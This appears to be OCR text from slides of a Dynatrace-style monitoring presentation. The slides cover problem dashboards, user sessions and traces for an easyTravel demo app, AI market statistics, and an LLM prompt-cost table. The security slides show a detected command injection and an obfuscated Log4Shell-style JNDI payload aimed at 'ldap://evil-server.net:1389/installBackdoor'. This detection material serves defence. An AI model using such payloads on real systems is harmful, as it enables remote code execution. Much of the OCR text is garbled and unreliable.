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Problems

o Pr0b|em5 Auto-refresh every 1 min ‘ Pin to dashboard ‘

= T ERE ZEREMERR ? 5% root cause

@ Any
O Open

e ll...lllll||||.l Illll

Severity 14:40 14:50 15:00 15:10 15:20 15:30 15:40 15:50 : - 16:20 16:30 16:40

D Monitoring unavailable il Open problems Closed problems
[] Availability

D Error

D Slowdown 4+ Problem Impacted Affected Root cause Start date Duration Alerting profiles

D Resource
Browser monitor local outage
[[] custom ®°  P-22102604: Availability

9 Problems

angular easytravel booking, angular easy Oct 21 16:02 i Default, dbslo

Impact level Long garbage-collection time

LoadDriverService.exe LoadDriverService.exe Oct 21 14:20 2 h 22 min Default, Payme...
P-22102600: Resource

D Infrastructure

D Services .
Memory saturation

N LoadGenD2000002 LoadGenD2000002 Oct 20 18:39 i Default, Payme...
[] Application P-22102478: Resource

D Environment
Long garbage-collection time

SfDictionaryService.exe SfDictionaryService.exe Oct 20 06:11 1d10h 31 min Default, Payme...
P-22102384: Resource

Maintenance

@ Any Failure rate increase

O P-22102605: E chromedriver_linux64 easytravel-headles... Oct 21 16:14 Default, Payme...
Under maintenance - : Error

O Not under maintenance ) .
Failure rate increase

chromedriver_linux64 on port * Oct 21 15:19 i Default, Payme..
P-22102603: Error
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Session details related to this user profile are outlined below.

United 5tates and more

6 Applications accessed .

www.ymware.easytravel.com (Web) m 1
M arl a 1§ % sl% E = |_', HE %ﬁz www.easytravel.com (Web) 5 Browser and device types used
— jJ easyTravel Rental Cars (3) (Custom)
[J Desktop
3 more...
0 Mobile
% _Synthetic
52s & Philipp Gansmeyer F Mobile app O easyTravel Mobile (mainfr...
Session duration Real user identifier Application type Application name
=S Tolerable A jos 1051214 @ 798
User experience scare Action with errors Operating system Application version
00 Apple, iPad Pro 212.9" |:| 768 x 1024 Q Chicago, United States 2 135.227.254.67
Device manufacturer and name Screen resolution Geo location .- IP address
om | ey =y () NOKIA fa Rooted/Jailbroken
1% m i_ iﬂ — ISP Rooted or jailbroken
= 3 A
Battery level 23 % CPU armv7
Free memory 14 % / 99 MiB IP address 135.227.254.67
Connection type WiFi ISP NOKIA
Screen orientation Portrait Screen resolution 768 x 1024
MNetwork technology 4G User language en_US
Carrier T-Mobile Rooted / jailbroken no
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"\ 30 PurePaths ﬁ 6 Resources > 100 kB '] Slow 15 party resource ‘ 1 3rd party domain contacted @ 1 3rd party resource (Wate rfal I)

User interaction possible
S

Loading of page /special-offers.jsp 781 ms
~ Document Requests 742 ms
[special-offers.jsp 742 ms
~ Resources 470 ms
[favicon_orange_plane.ico 3ms
[favicon_orange_plane.png 2ms
/BaseProd.css o /specialoffersbig.png (st party)
Ifootercss 2ms
. T . . . .
Irime.css S me 2 http:/Ir-aix-109.Inz.lab.dynatrace.org:8080/img/specialoffersbig.png
[rating.css 2ms
Jorange.css 2 ms View PurePath
Jruxitagentjs_ICA25Vfqr101631903081013... 3ms
fiquery-1.81js 4 ms Overall Phases
/iquery-ui-1.8.2.min.js 4 ms Cached - Blocking <1ms
Iversion.js 4ms Load time 265 ms Application Cache =1ms
/dtagentApijs 1ms Started at 342 ms ® DNS lookup =1ms
/FrameworkProd.js 3ms Completed at 607 ms = TCP connect =1ms
/jqueryformLabelsl.0.js 2ms Resource type Image Secure connect =1ms
/headerRotation.js Tms Reguest 53 ms
/ratingjs 2ms Response 212 ms
frecommendation js 2ms S, s
1Z
fapple.png 2ms
Jandroidbutton.png e Transfer size 4.86 MB
[facebookbutton.png 1ms Encoded size 4.86 MB
Jtwitterbutton.png 2ms Compressed No
[favicon.ico <1ms
[rssbutton.png 1ms
Ispecialoffersbig.png 265 ms
feasyTravel_banner.png 3ms

idynatrace | gss 18
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JourneyService CheckDestination
CALLS
CALLS
7]
o9
CALLS BookingService AR
7] %) %)
CALLS o) o
EasytravelService EasyTravelBackendWebse GATLS CALLS DB1
rver:8091
7]
o0

AuthenticationService
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Start time: 2020 April 20 04:07:23

22 callstack

== '"CF demo-2 easyTravel Customer Frontend' PurePath

O, Search name, url, sql, attribute,...

2.34s Response time Execution breakdown Request attributes

2.34s Processing time 73 % Network I/0 Client IP Address: 671... easyTravel Destination: easyTrd
22 % Waiting [ |
189 % CPU | easyTravelDestionation Icefaces: forange.jsf 4 more...

e forange jsf
W
“ CF demo-2 easyTravel Customer Frontend

i) findJourneys
MR OF demo-2 JoumneyService
e JourneyService.checkDestination
A5
4% CF demo-2 CheckDestination
O Aggregations in JourneyCollection
easyTravelCloudFoundry-Business

O Reads in JourneyCollection
easyTravelCloudFoundry-Business
findJourneys
g
VR CF demo-2 JourmneyService
i JourneyService.checkDestination
% CF demo-2 CheckDestination

O Aggregations in JourneyCollection
easyTravelCloudFoundry-Business

O Reads in JourneyCollection
easyTravelCloudFoundry-Business

i findlourneys
VS oF demo=2 JourneyService

i JourneyService.checkDestination
A5
% CF demo-2 CheckDestination

O Aggregations in JourneyCollection
easyTravelCloudFoundry-Business

Reads in JourneyCollection
easyTravelCloudFoundry-Business

idynatrace | gss

Timing

Start time 2020 Apr 20 04:07:23.539
Duration 2345
Self time 58.5ms

Self time breakdown

. B CPU time 20.8 ms E] »
N x
/orange.jsf W Disk I/0 time 376 ms -
=IO " "
HE?%"?DI—I}ML*E/,%H Bn Summary Timing Metadata -
O, Search name, url, sql, attribute,... URI forange. jsf
HTTP method POST Duration Actlons
HTTP response 200 - OK
v 20 stack frames expand Thread name http-nio-8080-exec-9
Thread id 30
doFilter 2345
org cloudfoundryrouterClientCertificateMapper :
getTimerContext
com.dynatrace easytravel metrics.Metrics *n —t uqz |]|-| smEs SILE ZHE ZE o
2 T #mEn
+ 32 stack frames expand
findJourneys
41 478 | 22 wes
com.dynatrace easytravel frontend.data. DataProvider ralms Hs me
getTimerContext
com.dynatrace easytravel. metrics. Metrics 411 ms 13 s 13 pis
+ 3 stack frames expand
send
41.4 288 | 220 wes
™ org apache.axis2 description OutlnAxisOperationClient * ms Hs ms
+ 6 stack frames expand
, executeMethod 4418 me 149 me 270 me

20
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Attack paths
Timestamp: Jul 19 01:20

Source IPs Entry points
83164160102
Juser/9973/bi
Q 1attack g user ©

ip
1 attack detected @ A
Overview

A Exploited ¥ Blocked A Allowlisted
1 (1] (4]

M Exploited [l Blocked M Allowlisted

Command injection at javax.servlet.ServletRequestWrapper.getParameterValues()

Attack Entry point Status Source IP Timestamp

A-QSH3YW fuser/9973/bio A\ Exploited 83.164.160.102 Jul19 01:20

Application Protection settings | View all attacks

idynatrace | gss
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Vulnerability

@

¢ Command injection e
BioController.markdo
wnToHtml():80

6 related entities @

Find out which entities are related to this vulnerability.

Related entity

O Applications
o Services
E.] Hosts

a Databases

Kubernetes clusters

Target

el
&,

i-040585ffc09e5¢519

Count

Details

22
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Favorites

£ Last 2 hours [_]

i

™

B

Dbserve and explore

192168 561 Insecure-banks/login

Infrastructure

Cloud Autemation

Applications & Microservices

Application Security

Entrypoint

Security overview

ES YN ’

insecure-bankslogin

Digital Experience
Code locatior
Manage org.springframework.security.web.header. HeaderWriterFilter.doFilterInternal

avax . servliet.http. HttpServletRequest, javax. cserviet. hitp.HttpServlietResponse
Devops : N ik A
javax.servliet .FilterChain) :64

Y

Entrypoint function

javax.servlet. ServietRequestWrapper.getParameter(java.lang.String):158

UsErname
ete Hitlower i {lowernii{lowerdislowerib${lower 4 lower d S lowerald{ lower
phid{lowerepvifloweril-sed{lowerrivi{lowerelrnet{lower t} 1389/ Insti{lower. a Pl ${upper blackdod {low

eralr}
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JNDI injection Insecure-bank-prod

ndihanager lnokup() 172

Vulnerability %U }EH T—I— Jﬁ{z,_: ﬂﬁ'j ;E A

IMOI injection at IndiManager lookupi{ 173

org.apache.logging.logdj.core.net.JndiManager. lookup(java,.lang.5tring):172

vulnerabla function

javax.naming.InitialContext. lookup{java.lang.String):417

INDH book Ip name

ldap://fevil-server.net:1388/instal1Backdoor

— payload

23
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2020 GPT-3 3% 2022 1B AIJTEE

175B2 % - Scaling LadB 1T - = EERE N ARF GPT4 : Claude 2 GeminifB 457 - (E%EHE A Al
2020 ZIEEERA 2024 HEIRFERYIRFE

CodexBIRESAE= B2 - DALLERRI R BRI 01 BRI - AgentilERRE K - AlBIMAE EMITER
2022 ChatGPT {R4L 202526 AGI SERAE
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ot [0]0]0)Y% S500B+

HESRURERR 2025 F2IK Al IRE
it GPT2 1Y 151521451838 1 K2 & Microsoft - Google* Meta * Amazon
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01 ChatGPT9 fEiBBRERF

OpenAlIE 75 ‘A& x TechCrunch
t echcr unc h.-reachms900mweekd-activeusers

02 78% ECEEEINEEDRER Al

McKinsey Global Survey on Al

mc Ki n s ey -stat®ofmai > t he

02 86% ZBX{EF Al - 54% BiB{EH

Digital Education Council Global Al Student Survey
digitaleducat i-globataisiudentisurvey®@4n > dec

04 92% HEEIAKBH{EMA Al (66% > 92% )

HEPI Student Generative Al Survey
hepi . ac . wknerativeairsuavey2025

2026.02

2024

2024

2025
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Gallup / Lumina Foundation State of Higher Education

news. gal | u p-collegestudentsdespitecampueslimits
065 AIBARBITEEARSTH 2026 Fi8 $5000 & 2025.12

Goldman Sachs Research

gol d mans ac hasconpanmsmayimxestyinore-than-500-billion-in-2026

07 EBKAISZH 2025 FE $1.5 )k ( S EREERME ) 2025.09

Gartner IT Spending Forecast

gartner.com > Al Spending Forecast 2025
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Service Health & Performance

Open Problems

Service Quality
Token Consumption per Model

US$1.50

Service Health
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99%

# of Total Requests
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End-To-End Tracing & Debugging (adjust fields for prompt)
Top 10 expensive prompts
prompt £ v response &+ v trace.id $ v tokens & v cost 3 v
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: I have gathered travel advice for Munich. Now, I will format the response properly in a JSON blob. Action: " { "action™ "Final Answer", "action_input": "(ADDRESS} is a vib... 38c143a4a2a7a7160136e70bdbe2dafl 814 US$14.64
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: I've gathered the travel advice for Las Vegas and need to present it in the appropriate format. Action: " { "action": "Final Answer", "action_input": "({ADDRESS} is a vibran... 89bcf15a17881c2b90f458cc870f0e9b 802 US$14.53
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: I have gathered the travel advice for Las Vegas. Now, I need to format it correctly in a JSON response. Action: ™" { "action": "Final Answer", "action_input": "Las Vegas is a .. 46dcldecc16f659d6167a509b2fle41a 734 US$13.35
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: I have obtained travel advice for Las Vegas, which I will now format into the final response. Action: ™" { "action": "Final Answer", "action_input": "{ADDRESS} is a vibrant ci... 6b16fcac71a630c9da@9ch5fd0e@6c3a 727 US$13.27
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: I need to format the travel advice response correctly in a JSON blob. Action: ™ { "action”: "Final Answer”, "action_input": "Las Vegas is a vibrant and exciting destination k.. 5e0c09792981e0c11fdae3e97231e21a 707 US$13.03
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: Since Las Vegas is a valid city, I will provide travel advice for it. Action: ™ { "action": "travel_advice", "action_input": { "city": "Las Vegas" } } ™ 89bcf15a17881c2b90f458cc870f0e9b 534 US$10.18
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: Since Munich is a valid city, I will now provide travel advice for it. Action: ™ { "action™: "travel_advice", "action_input": {"city": "Munich"} } ™ 38c143a4a2a7a7160136e70bdbe2dafl 523 US$10.00
Respond to the human as helpfully and accurately as possible. You have access to the follow... Thought: Since Las Vegas is a valid city, I will provide travel advice. Action: ™ { "action": "travel_advice", "action_input": { "city": “Las Vegas" } } ™ 5e0c09792981e0c11fdae3e97231e21a 514 US$9.80
Respond to the human as helpfully and accurately as possible. You have access to the follow... Action: ™ { "action": “travel_advice", "action_input": {"city": "Las Vegas"} } ™ 6b16fcac71a630c9dad9cb5fd0ed6c3a 508 US$9.88
Respond to the human as helpfully and accurately as possible. You have access to the follow... = Action: ™ { "action": "travel_advice", "action_input": "Las Vegas" } ™ 46dcldecc16f659d6167a509b2f1ed1a 506 US$9.87

Top 10 slowest prompts
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